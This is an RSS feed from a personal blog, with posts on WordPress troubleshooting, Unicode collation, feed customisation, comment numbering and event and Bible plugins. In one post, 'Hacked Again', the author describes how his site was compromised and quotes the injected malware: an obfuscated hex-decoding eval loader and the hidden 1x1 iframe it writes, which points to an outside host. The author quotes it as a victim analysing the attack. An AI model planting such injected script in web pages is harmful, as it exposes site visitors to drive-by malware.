<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Order of the Bath &#187; WordPress</title>
	<atom:link href="http://west-penwith.org.uk/blog/archives/category/technical/wordpress/feed" rel="self" type="application/rss+xml" />
	<link>http://west-penwith.org.uk/blog</link>
	<description>A soggy blog by Rick Parsons</description>
	<lastBuildDate>Sun, 08 Jan 2012 18:07:26 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>“PHP Fatal error: Call to undefined function get_header()” error in WordPress</title>
		<link>http://west-penwith.org.uk/blog/archives/1418</link>
		<comments>http://west-penwith.org.uk/blog/archives/1418#comments</comments>
		<pubDate>Sun, 25 Sep 2011 16:27:26 +0000</pubDate>
		<dc:creator>Rick</dc:creator>
				<category><![CDATA[Technical]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://west-penwith.org.uk/blog/?p=1418</guid>
		<description><![CDATA[I am getting occasional (3-4 a month) errors in a log file on the various WordPress installations that I support. The full text is [25-Sep-2011 09:02:01] PHP Fatal error: Call to undefined function get_header() in /home/&#60;ACCOUNT&#62;/public_html/wp-content/themes/&#60;THEME NAME&#62;/index.php on line 1 Doing the natural thing I Googled for a reason but didn&#8217;t find much that was [...]]]></description>
			<content:encoded><![CDATA[<p>I am getting occasional (3-4 a month) errors in a log file on the various WordPress installations that I support. The full text is</p>
<p><code>[25-Sep-2011 09:02:01] PHP Fatal error:  Call to undefined function get_header() in /home/&lt;ACCOUNT&gt;/public_html/wp-content/themes/&lt;THEME NAME&gt;/index.php on line 1</code></p>
<p>Doing the natural thing I Googled for a reason but didn&#8217;t find much that was informative. Most of the cases reported were where the user had <del>stupidly</del> inadvertently overwritten the root index.php with the one from their theme of the day. The best I found was <a href="http://www.ardamis.com/2011/06/02/fix-for-php-fatal-error-get_header-in-wordpress/" title="How to fix the “PHP Fatal error: Call to undefined function get_header()” error in WordPress" target="_blank">ardemis who is one step ahead of me</a>.</p>
<p>As he implies, at important step is to stop the message reaching the user&#8217;s browser because it reveals rather too much about your web server. This is done by including the call</p>
<p><code>ini_set('display_errors', 0);</code></p>
<p>before the <code>get_header();</code>. This makes the message ONLY appear in the log file, which incidentally, can be found in the theme directory. He then goes on to describe a more sophisticated approach which you can read there if it suits your site. But why are they occurring? Is it search engine spiders or hackers probing the depths of your site. </p>
]]></content:encoded>
			<wfw:commentRss>http://west-penwith.org.uk/blog/archives/1418/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Hacked Again</title>
		<link>http://west-penwith.org.uk/blog/archives/1368</link>
		<comments>http://west-penwith.org.uk/blog/archives/1368#comments</comments>
		<pubDate>Thu, 16 Jun 2011 09:01:33 +0000</pubDate>
		<dc:creator>Rick</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Technical]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://west-penwith.org.uk/blog/?p=1368</guid>
		<description><![CDATA[Since the problem in 2007 my web sites have been running pretty smoothly. I never did get to the bottom of what caused it but the suspicion was an out of date WordPress install which had some sort of vulnerability. This month it happened again. I first spotted it on 6 Jun when I saw [...]]]></description>
			<content:encoded><![CDATA[<p>Since <a href="http://west-penwith.org.uk/blog/archives/274">the problem in 2007</a> my web sites have been running pretty smoothly. I never did get to the bottom of what caused it but the suspicion was an out of date WordPress install which had some sort of vulnerability.</p>
<p>This month it happened again. I first spotted it on 6 Jun when I saw a big iFrame appear below the page footer of this blog. Again there was a suspicion of a down-level WordPress but it was only one dot point off current. Never-the-less, I updated and the problem went away by wiping out the infected files. In fact, I did it so fast that I didn&#8217;t have time to investigate fully.</p>
<p>A week later, the problem was back and now, because I was fully up to date, I had to look more closely.</p>
<p>The code inserted was<br />
<code><br />
[script]var t="";var arr="...";for(i=0;i&lt;arr.length;i+=2)t+=String.fromCharCode(parseInt(arr[i]+arr[i+1],16));eval(t);[/script]<br />
</code><br />
which decodes to execute<br />
<code><br />
document.write('[iframe src="http://esformofset.com/forum/php?tp=675eafec431b1f72" width="1" height="1" frameborder="0"][/iframe]')<br />
</code></p>
<p>The hacked code was tacked on the end of module wp-blog-header.php so it is clear that the infection understands WordPress. Later I was informed by a regular visitor, that some other (static) pages on the site were also infected. One drawback of running a browser with full protection like Firefox with <a href="http://noscript.net/">NoScript</a> is that you can&#8217;t easily spot things like this when they occur. Anyway, I spent an hour yesterday evening clearing up the rest of the site. It had infected almost all files called index.htm and home.htm and one or two others with a high page rank due to a lot of external referrers. The inserted code was after <code>&lt;body&gt;</code> and was either identical or very similar to the above (just a change of target web page).</p>
<p>So it is clear that the infection mechanism is clever, I just wish I know what it was. I am no longer convinced that it is anything to do with WordPress &#8211; a ZeroDay vulnerability like this would have been reported by now and, at the time of writing I can find no other internet reference to this particular infection. There is no other active content on the site so that leaves the possibility of either a cracked password (all of which are strong and recently changed) or a compromised host server.</p>
]]></content:encoded>
			<wfw:commentRss>http://west-penwith.org.uk/blog/archives/1368/feed</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>Unicode in WordPress</title>
		<link>http://west-penwith.org.uk/blog/archives/1128</link>
		<comments>http://west-penwith.org.uk/blog/archives/1128#comments</comments>
		<pubDate>Sat, 08 May 2010 18:01:01 +0000</pubDate>
		<dc:creator>Rick</dc:creator>
				<category><![CDATA[Technical]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://west-penwith.org.uk/blog/?p=1128</guid>
		<description><![CDATA[As I mentioned in the previous post, there can be a problems inserting foreign text into WordPress. I have done it in the past with simple accents for French and German with no problem and for some special characters I used the &#&#8230;.; codes but when it came to pasting in a chunk of Arabic [...]]]></description>
			<content:encoded><![CDATA[<p>As I mentioned in the previous post, there can be a problems inserting foreign text into WordPress. I have done it in the past with simple accents for French and German with no problem and for some special characters I used the &#&#8230;.; codes but when it came to pasting in a chunk of Arabic it didn&#8217;t work at all, just displaying a bunch of question marks. I suspect that there would be a similar problem with Hebrew, Chinese, Japanese, Cyrillic and any other non-western scripts. I had a search around and the first suggestion I came across was <a href="http://hansengel.wordpress.com/2007/10/09/wordpress-unicode-and-s/">Obsessed with the Press</a> which suggested commenting out the lines for DB_CHARSET and DB_COLLATE in <code>wp-config.php</code>. This appeared to work (on a test site) but looking at older posts I could see that some characters in there were now corrupt, displaying a white question mark in a black diamond. In the comments on the same page there was a suggestion to not do that but just change DB_COLLATE to the value &#8216;utf8_general_ci&#8217;. This didn&#8217;t really work either. There were suggestions on other pages to set it to &#8216;utf8_unicode_ci&#8217; and various other things, so it was time to do some more serious investigation.</p>
<p>It looks like the problem is not really the fault of WordPress at all but the MySQL installed on some sites (including mine). Deep in the MySQL is a configuration parameter for the default character collation and it is often set as supplied to &#8216;latin1_swedish_ci&#8217;&mdash;Why? Because MySQL was originally Swedish! If it was just taken out of the box and installed then that will be the default you get for most of your tables because DB_COLLATE in WordPress is set to null and so takes the default. In practice you will find some tables are different, perhaps because they discovered it was important.</p>
<p>So, what does that mean for fixing the problem? DO THIS AT YOUR OWN RISK&mdash;I AM NOT AN EXPERT.</p>
<p>First&mdash;the second suggestion above was correct&mdash;change the DB_COLLATE line to read</p>
<p><code>define('DB_COLLATE', 'utf8_general_ci');</code></p>
<p>If you are setting up WordPress for the first time, this may be sufficient because it will use this value, but if you are hacking an old installation then you will need to correct it a bit. You need to go into phpMyAdmin and change some of the collations on your tables. The important one, which fixed my problems, is table <code>wp_posts</code>, field name <code>post_content</code>, but if you are planning to use unicode in post titles, comments and other places then you may need to do more of them. I am planning to be a bit cautious about changing too many in case it breaks something else.</p>
]]></content:encoded>
			<wfw:commentRss>http://west-penwith.org.uk/blog/archives/1128/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Customised RSS feeds from WordPress</title>
		<link>http://west-penwith.org.uk/blog/archives/892</link>
		<comments>http://west-penwith.org.uk/blog/archives/892#comments</comments>
		<pubDate>Wed, 23 Sep 2009 18:47:53 +0000</pubDate>
		<dc:creator>Rick</dc:creator>
				<category><![CDATA[Technical]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://west-penwith.org.uk/blog/?p=892</guid>
		<description><![CDATA[Customising a WordPress installation is relatively straight forward&#8212;you pick a theme and then tweak it to your satisfaction&#8212;you can make that as easy or hard as you like depending on your skills and requirements and it is all fairly well documented. It uses a theme system so that any templates that you place in the [...]]]></description>
			<content:encoded><![CDATA[<p>Customising a WordPress installation is relatively straight forward&mdash;you pick a theme and then tweak it to your satisfaction&mdash;you can make that as easy or hard as you like depending on your skills and requirements and it is all fairly well documented. It uses a theme system so that any templates that you place in the theme directory override the default ones, This blog, for instance, has modified versions of the <code>index</code>, <code>page</code> and <code>single</code> templates which determine the content and appearance of the post stream, pages and single posts respectively.</p>
<p>Customising the feed contents and appearance is not so easy. The system includes three hooks which allow additional content to be included&mdash;In the case of RSS2 feed they are <code>rss2_ns</code> in the RSS header, <code>rss2_head</code> in the channel content and <code>rss2_item</code> in each item section. These are what podcast plugins use to add in the iTunes XML stuff that they need.</p>
<p>There is, however, no mechanism to remove or modify the existing standard content. What it needs is the ability to override the templates with ones of your own. The relevant template here is <code>wp-includes/feed-rss2.php</code> and it is loaded from the function <code>do_feed_rss2</code> in <code>wp-includes/functions.php</code>. That default routine looks like this</p>
<pre>function do_feed_rss2( $for_comments ) {
	if ($for_comments)
		load_template( ABSPATH . WPINC . '/feed-rss2-comments.php');
	else
		load_template( ABSPATH . WPINC . '/rss2-atom.php' );
}
</pre>
<p>What is needed is this which can be put in your theme&#8217;s <code>functions.php</code></p>
<pre>function custom_feed_rss2( $for_comments ) {
	if ( $for_comments ) {
		if ( file_exists(STYLESHEETPATH . '/feed-rss2-comments.php'))
			load_template( STYLESHEETPATH . '/feed-rss2-comments.php' );
		else
			load_template( ABSPATH . WPINC . '/feed-rss2-comments.php' );
	}
	else {
		if ( file_exists(STYLESHEETPATH . '/feed-rss2.php'))
			load_template( STYLESHEETPATH . '/feed-rss2.php' );
		else
			load_template( ABSPATH . WPINC . '/feed-rss2.php' );
	}
}
</pre>
<p>Then replacing the default routine with the new one using</p>
<pre>remove_action('do_feed_rss2', 'do_feed_rss2');
add_action('do_feed_rss2', 'custom_feed_rss2');
</pre>
<p>then the copies of the templates in your theme directory will be picked up if they exist and defaults used if not. Similar things can be done for the rdf, rss and atom feeds but I don&#8217;t use them; <strong>note:</strong> however, that if you have removed things because you don&#8217;t want them revealed to the world then you need to do it on all available formats because they are all available whether you advertise them or not.</p>
<p>What do I use it for? well I want to put the event date into some posts rather than the posting date and also I have a need to suppress comment feeds altogether on one site.</p>
]]></content:encoded>
			<wfw:commentRss>http://west-penwith.org.uk/blog/archives/892/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>RSS feed fixed</title>
		<link>http://west-penwith.org.uk/blog/archives/747</link>
		<comments>http://west-penwith.org.uk/blog/archives/747#comments</comments>
		<pubDate>Thu, 07 May 2009 17:03:17 +0000</pubDate>
		<dc:creator>Rick</dc:creator>
				<category><![CDATA[Technical]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://west-penwith.org.uk/blog/?p=747</guid>
		<description><![CDATA[I have finally figured out why the RSS feed on this blog had died. I had been assuming that it was due to an illegal character in one of the post headings because that is what broke it last time; XML is very fussy about character set. Today I had a look at the source [...]]]></description>
			<content:encoded><![CDATA[<p>I have finally figured out why the RSS feed on this blog had died. I had been assuming that it was due to an illegal character in one of the post headings because that is what broke it last time; XML is very fussy about character set.</p>
<p>Today I had a look at the source of the XML that wouldn&#8217;t display and spotted that there were two blank lines on the front. Removing those (by hand) fixed it, I said XML was fussy!</p>
<p>Now where were they coming from. A search on Google for &#8220;wordpress xml blank lines&#8221; came up with a few suggestions and it looks like it is a common problem but everyone has to figure it out for themselves; there is no FAQ. The prime suggestion was blank lines on the end of the wp-config.php file but that wasn&#8217;t the case for me. The next was in functions.php in the theme; BINGO. I am always very verbal when writing code and put in lots of comments and white space. Normally that doesn&#8217;t matter but functions.php is loaded for every action (even for the admin panels) and PHP is a strange beast&mdash;everything that is not with us is against us; i.e. everything that is not a PHP statement is directly output to the stream so blank lines before the first < ?php and after the last ?> is output and you cannot separate the functions outside of the PHP structure either. Once I had fixed that then it was all ok.</p>
<p>I still can&#8217;t figure out the source of the two blank lines that cause the Comment feed to fail! [Update: that is fixed too. Same problem, just that I hadn't properly cleared the browser cache.]</p>
]]></content:encoded>
			<wfw:commentRss>http://west-penwith.org.uk/blog/archives/747/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WordPress 2.7+ Comments</title>
		<link>http://west-penwith.org.uk/blog/archives/704</link>
		<comments>http://west-penwith.org.uk/blog/archives/704#comments</comments>
		<pubDate>Fri, 06 Mar 2009 11:32:10 +0000</pubDate>
		<dc:creator>Rick</dc:creator>
				<category><![CDATA[Technical]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://west-penwith.org.uk/blog/?p=704</guid>
		<description><![CDATA[As I mentioned earlier, I upgraded the version of WordPress used on this blog last night. I did the Church website some time ago and it was easy but this one was much more complicated. The difference is that this one accepts comments and the commenting system in WordPress was completely revamped for version 2.7. [...]]]></description>
			<content:encoded><![CDATA[<p>As I mentioned earlier, I upgraded the version of WordPress used on this blog last night. I did the <a href="http://stmatthews-bristol.org.uk/">Church website</a> some time ago and it was easy but this one was much more complicated. The difference is that this one accepts comments and the commenting system in WordPress was completely revamped for version 2.7.</p>
<p>This is a screen shot from my development system using the Default theme.</p>
<p><a href="http://west-penwith.org.uk/blog/wp-content/images/comment.png"><img src="http://west-penwith.org.uk/blog/wp-content/images/comment.png" alt="A sample blog comment section" title="A sample blog comment section" width="489" height="188" class="aligncenter size-full wp-image-705" /></a></p>
<p>Here I have set the Discussion Settings to say</p>
<blockquote><p>Break comments into pages with 10 comments per page and the  last page displayed by default. Comments should be displayed with the older comments at the top of each page.</p></blockquote>
<p>As you can see from the first line there are 11 comments on this post and below is a link back to the earlier ones and the 11&#8242;th one in full. It looks ok but, as I will demonstrate in a minute, they have hidden the underlying problem.</p>
<p>I happen to think that comments need to be numbered. It is my choice but I consider it necessary both as a visual clue so that readers can tell immediately which posts are the most recent and what order to read them, and also so that the discussion can refer to earlier points unambiguously. The generated HTML for the clip above (edited and wrapped) is as follows</p>
<pre>
	&lt;h3 id="comments"&gt;11 Responses to &amp;#8220;Wordpress 2.7&amp;#8221;&lt;/h3&gt;

	&lt;div class="navigation"&gt;
		&lt;div class="alignleft"&gt;&lt;a
                href="http:// &#8230; /wordpress-27/comment-page-1/#comments"
                >&amp;laquo; Older Comments&lt;/a&gt;&lt;/div&gt;
		&lt;div class="alignright"&gt;&lt;/div&gt;
	&lt;/div&gt;

	&lt;ol class="commentlist"&gt;
			&lt;li class="comment byuser comment-author-sandpit bypostauthor even
                        thread-even depth-1" id="comment-24"&gt;
</pre>
<p>Here you will see the initial heading, the &#8220;Older Comments&#8221; link and, below that, <code>&lt;ol class="commentlist"&gt;</code>. They are using an ordered list which should have item numbers for every <code>&lt;li&gt;</code> that follows, but they do not appear. They are being suppressed by the CSS style sheet using <code>.commentlist li {list-style: none;}</code>. Now if you want comments numbers, as I do, the instinct is to remove this suppression but that is not good enough (disregarding the work to get the layout to look right) because this comment will be numbered <strong>1.</strong> because that is what <code>&lt;ol&gt;</code> does, not <strong>11.</strong> as it should be. Every page will be numbered <strong>1.</strong> to <strong>10.</strong> Worse still, if I had set it to display newer comments at the top, they would be numbered in the wrong order.</p>
<p>The solution is to use a fantastic little plugin <a href="http://counsellingresource.com/features/2009/01/27/threaded-comment-numbering-plugin-for-wordpress/">Greg&#8217;s Threaded Comment Numbering</a> which solves this and other even deeper problems.</p>
<p>This is not really a complaint but it is a job half done. They have brought a lot of interesting controls forward into the admin interface for the average user to be able to control commenting, but the back-end code to handle them properly is not there. You can switch the feature on but you need a lot more skill to get it to work. I saw a comment from an experienced developer on the forums saying that WordPress is moving so that functional customising is moving away from themes, which are relatively straight forward to hack, to plugins and widgets which are more difficult and best left to the experts. If that is the case then they need to consolidate so that features such as this are either fully built into the base-code or left to plugin developers but not half-and-half.</p>
]]></content:encoded>
			<wfw:commentRss>http://west-penwith.org.uk/blog/archives/704/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Lorelle on Church Website Design</title>
		<link>http://west-penwith.org.uk/blog/archives/654</link>
		<comments>http://west-penwith.org.uk/blog/archives/654#comments</comments>
		<pubDate>Wed, 21 Jan 2009 20:59:42 +0000</pubDate>
		<dc:creator>Rick</dc:creator>
				<category><![CDATA[ChurchTech]]></category>
		<category><![CDATA[Technical]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://west-penwith.org.uk/blog/?p=654</guid>
		<description><![CDATA[Lorelle van Fossen talks to Church web designers&#8212;and discovers that she knew nothing about the issues. Good article.]]></description>
			<content:encoded><![CDATA[<p><a href="http://lorelle.wordpress.com/2009/01/21/web-design-for-gods-audience-learning-from-church-web-development/">Lorelle van Fossen talks to Church web designers</a>&mdash;and discovers that she knew nothing about the issues. Good article.</p>
]]></content:encoded>
			<wfw:commentRss>http://west-penwith.org.uk/blog/archives/654/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Bible Verse Plugins</title>
		<link>http://west-penwith.org.uk/blog/archives/633</link>
		<comments>http://west-penwith.org.uk/blog/archives/633#comments</comments>
		<pubDate>Fri, 02 Jan 2009 18:01:02 +0000</pubDate>
		<dc:creator>Rick</dc:creator>
				<category><![CDATA[ChurchTech]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://west-penwith.org.uk/blog/?p=633</guid>
		<description><![CDATA[While developing the new church website (which, by the way, is now online) I came across a couple of plugins that automatically link a bible verse reference to the text. I was reminded to write about it today, ironically, by a spam which linked to a very crude online bible using free web space from [...]]]></description>
			<content:encoded><![CDATA[<p>While developing the new church website (which, by the way, is <a href="http://stmatthews-bristol.org.uk/">now online</a>) I came across a couple of plugins that automatically link a bible verse reference to the text. I was reminded to write about it today, ironically, by a <a href="http://west-penwith.org.uk/blog/archives/470#comment-125399">spam</a> which linked to a <a href="http://freeonlinebible.blogspot.com/">very crude online bible</a> using free web space from Blogspot. I am not sure which version has been bootlegged.</p>
<h3>eBibleicious</h3>
<p><a href="http://wordpress.org/extend/plugins/ebibleicious/">eBibleicious</a> was the first plugin I investigated. It links to <a href="http://ebible.com/">eBible.com</a> and seemed to be simple and efficient but for some reason does not work at all if the visitor is on Virgin Broadband. <a href="http://bweaver.net/ebible-wordpress-plugin">bweaver.net</a> has a review with some screen shots which show what could have been, but the <a href="http://blog.ebible.com/">developer blog</a> has been quiet since March 2008 so I think it has all but died.</p>
<h3>The Holy Scripturizer</h3>
<p><a href="http://wordpress.org/extend/plugins/the-holy-scripturizer/">The Holy Scripturizer</a> is a plugin that I found later. It is also not well advertised and the <a href="http://scripturizer.wordpress.com/">developer blog</a> has not been updated since june 2008 but perhaps there is nothing more to do; it works fine on WP 2.7. There are a lot of the same ideas as eBibleicious using the <a href="http://www.gnpcb.org/esv/">ESV website</a> as source, but has the added benefit of multiple versions in link only (i.e. not popup) mode. The NRSV comes from <a href="http://bible.oremus.org/">Oremus Bible Browser</a> which is the one we normally use. Almost every English language version is covered and a lot of others as well, mostly via the <a href="http://www.biblegateway.com/">Bible Gateway</a>. It parses most standard bible references and is working brilliantly on the web site with virtually no training needed.</p>
]]></content:encoded>
			<wfw:commentRss>http://west-penwith.org.uk/blog/archives/633/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Parsing XML with PHP</title>
		<link>http://west-penwith.org.uk/blog/archives/552</link>
		<comments>http://west-penwith.org.uk/blog/archives/552#comments</comments>
		<pubDate>Mon, 17 Nov 2008 19:55:38 +0000</pubDate>
		<dc:creator>Rick</dc:creator>
				<category><![CDATA[Hi-Fi & Music]]></category>
		<category><![CDATA[Technical]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://west-penwith.org.uk/blog/?p=552</guid>
		<description><![CDATA[Following on from the last.fm saga described earlier, I went on to look at the method user.GetWeeklyAlbumChart which requires accessing user.GetWeeklyChartList first. I am using the plugin iLast.Fm from Leandro Alonso and the code he is using looks right but doesn&#8217;t seem to work. He uses curl to get the XML from the last.fm site. [...]]]></description>
			<content:encoded><![CDATA[<p>Following on from the <a href="http://west-penwith.org.uk/blog/archives/532">last.fm saga described earlier</a>, I went on to look at the method <code>user.GetWeeklyAlbumChart</code> which requires accessing <code>user.GetWeeklyChartList</code> first.</p>
<p>I am using the plugin <a href="http://leandrow.net/lastfm/">iLast.Fm</a> from Leandro Alonso and the code he is using looks right but doesn&#8217;t seem to work. He uses <code>curl</code> to get the XML from the <code>last.fm</code> site. The XML you get is of the form</p>
<blockquote><p>
<code>&lt;lfm status="ok"&gt;<br />
  &lt;weeklychartlist user="[username]"&gt;<br />
    &lt;chart from="1225022400" to="1225627200"/&gt;<br />
    &lt;chart from="1225627200" to="1226232000"/&gt;<br />
    &lt;chart from="1226232000" to="1226836800"/&gt;<br />
  &lt;/weeklychartlist&gt;<br />
&lt;/lfm&gt;</code>
</p>
</blockquote>
<p>He then parses it with <code><a href="http://uk.php.net/simplexml_load_file">simplexml_load_file()</a></code> and puts it into an object called <code>$chart</code>. Then the code processes this as follows</p>
<blockquote><p>
<code>$chartopt = sizeof($chart->weeklychartlist->chart) - 1;<br />
$chart = $chart->weeklychartlist->chart[$chartopt];</code>
</p>
</blockquote>
<p>and uses <code>$chart['from']</code> and <code>$chart['to']</code> in the call to <code>user.GetWeeklyAlbumChart</code>.</p>
<p>The problem is that <code>$chartopt</code> always has the value 0 which means that the <code>sizeof()</code> function is not working properly. There is a comment on the <a href="http://uk.php.net/manual/en/function.simplexml-load-file.php#86471">PHP documenattion page</a> which says that <code>foreach</code> doesn&#8217;t work but reccomends <code>count/sizeof()</code> instead. What can be wrong?</p>
<p>Update: The answer seems to be <a href="http://vega.rd.no/article/simplexml-not-that-simple">here</a>: SimpleXML is not so simple and it doesn&#8217;t behave correctly. It needs</p>
<blockquote><p>
<code>$chartopt = -1;<br />
foreach($chart->weeklychartlist->chart as $i) $chartopt++;<br />
</code>
</p>
</blockquote>
]]></content:encoded>
			<wfw:commentRss>http://west-penwith.org.uk/blog/archives/552/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WordPress Event Plugins</title>
		<link>http://west-penwith.org.uk/blog/archives/470</link>
		<comments>http://west-penwith.org.uk/blog/archives/470#comments</comments>
		<pubDate>Thu, 23 Oct 2008 12:45:06 +0000</pubDate>
		<dc:creator>Rick</dc:creator>
				<category><![CDATA[ChurchTech]]></category>
		<category><![CDATA[Technical]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://west-penwith.org.uk/blog/?p=470</guid>
		<description><![CDATA[Looking for plugins for WordPress (or probably any other package) is very frustrating. First you have to search the directory (which, I agree, is a big improvement on what it used to be) and sift out the possible from the unlikely. Then look at the descriptions, which are often completely inadequate, and test the promising [...]]]></description>
			<content:encoded><![CDATA[<p>Looking for plugins for WordPress (or probably any other package) is very frustrating. First you have to search <a href="http://wordpress.org/extend/plugins/">the directory</a> (which, I agree, is a big improvement on what it used to be) and sift out the possible from the unlikely. Then look at the descriptions, which are often completely inadequate, and test the promising candidates.</p>
<p><img src="http://west-penwith.org.uk/blog/wp-content/images/events.png" alt="Upcoming Services" class="alignright" />I have been looking for an Event system for the church web site&mdash;one that allows you to post-date items and list upcoming events, particularly services. There are a number based around iCal and Google Calendar but I didn&#8217;t want to get into that level of complexity and, anyway, a calendar based presentation is not as direct and immediate we wanted. Eventually I narrowed it down to two: <a href="http://wordpress.org/extend/plugins/wp-events/">WP Events</a> and RS Event. Another one which looks promising (but complex) is <a href="http://wordpress.org/extend/plugins/events-category/">Events Category</a> <del datetime="2008-10-24T08:25:31+00:00">but I haven&#8217;t had time to look at it</del> <ins datetime="2008-10-24T08:25:31+00:00">[Update below]</ins>.</p>
<h4>WP-Events</h4>
<p>Pro&mdash;Actively <a href="http://meandmymac.net/plugins/events/">maintained and developed</a> by the author (Arnan de Gans).<br />
Supports start and end dates and times, multi- and all-day events.<br />
Provides sidebar widget and main page hooks for upcoming events and archives plus function calls for experts.<br />
Allows different categories for events.<br />
Incorporates Event Location. This is not something that we would use, preferring to put this sort of information into the description.<br />
The dedicated admin page (Manage Events) has full information about each item.<br />
Allows HTML tags in sidebar for images and markup.<br />
Very flexible configuration.<br />
Simple implementation so easy to hack.</p>
<p>Con&mdash;Uses a separate database table for events so they are not found by the search engine.<br />
Excerpting is done by character count rather than word which can break HTML.<br />
Non-standard interface for creating events which is not foolproof for the non-geek e.g. no implicit tags and validation.<br />
Events cannot be in more than one category and they bear no relation to WP post categories.<br />
There is no single event display without creating a separate WP post and linking to it.<br />
The More link appears even if there is no more.</p>
<h4>RS-Event</h4>
<p>Pro&mdash;Uses extra metadata on standard posts to indicate start date/time. Hence search and ordinary posts listings work.<br />
Provides sidebar widget and function call for experts.<br />
Allows different (standard WP post) categories for events.<br />
Events can be put into multiple categories<br />
Very easy to use, suitable for admin staff.<br />
Simple implementation so easy to hack.</p>
<p>Con&mdash;the author (Robert Sargant) has vanished so it is no longer supported, though a working version patched for current WordPress can be found at <a href="http://livingos.com/wp/rs-event-plugin/">LivingOS</a>. A <a href="http://pastebin.com/f5c4ddf2a">hacked version</a> exists with some extra features by Nudnik.<br />
Uses standard (rather inflexible) WP excerpting which doesn&#8217;t allow markup.<br />
You can&#8217;t tell from the admin pages (Manage Posts) the date of each event.<br />
There is no recording of end date/times so no concept of an event duration or multi- and all-day events.<br />
Non-widget configuration has to be done by editing the theme files making the theme site specific (because it refers to categories explicitly by ID).<br />
Requires an unpublished hack to get event date/time to appear in archives, search listings and single post pages.<br />
The More link appears even if there is no more.</p>
<p>I have included both in my demonstrator so the user can choose. I think they will go for the second as it is easier for them to use&mdash;the extra work has already been put in my me.</p>
<p>[Update 24 Oct 2008]</p>
<h4>Events Category</h4>
<p>Something that has saved a great deal of effort is that the author of Events Category (<a href="http://weston.ruter.net/">Weston Ruter</a>) has provided an excellent write-up. Reading this I can at least superficially evaluate it without having to download and test it.</p>
<p>Pro&mdash;The aforementioned write-up and I think it is maintained though there is a suggestion that it does not work with WordPress 2.5+.<br />
Uses extra metadata on standard posts. Hence search and ordinary posts listings work. In addition, the output method uses the WordPress loop with additional template tags so customising it is flexible and straight forward.<br />
Supports start and end dates and times and hence Multi-day events.<br />
Events can be put into multiple categories<br />
Allows multiple sidebar widgets and plenty of scope for theme writers.<br />
The start date of an event is easy to see from the Manage Posts admin panel (because it is the post date).<br />
Easy to use, suitable for admin staff.<br />
Incorporates a comprehensive Event Location and integrates with various calendar systems.</p>
<p>Con&mdash;The start date of an event uses a forward dated post which loses some information, though the update tracking in current WordPress provides this information for audit.<br />
Looking at the (well described) method of operation it is probably fairly complex, modifying deep parts of WordPress, and hence hard to hack. I am not sure I could get it to work with current WP.</p>
<p>From that analysis I don&#8217;t think we will be using it but there are some great ideas there that I may adapt for use with whichever system we do go with. One thing the exercise has demonstrated is how many different ways you can use to achieve the same objective.</p>
]]></content:encoded>
			<wfw:commentRss>http://west-penwith.org.uk/blog/archives/470/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
	</channel>
</rss>

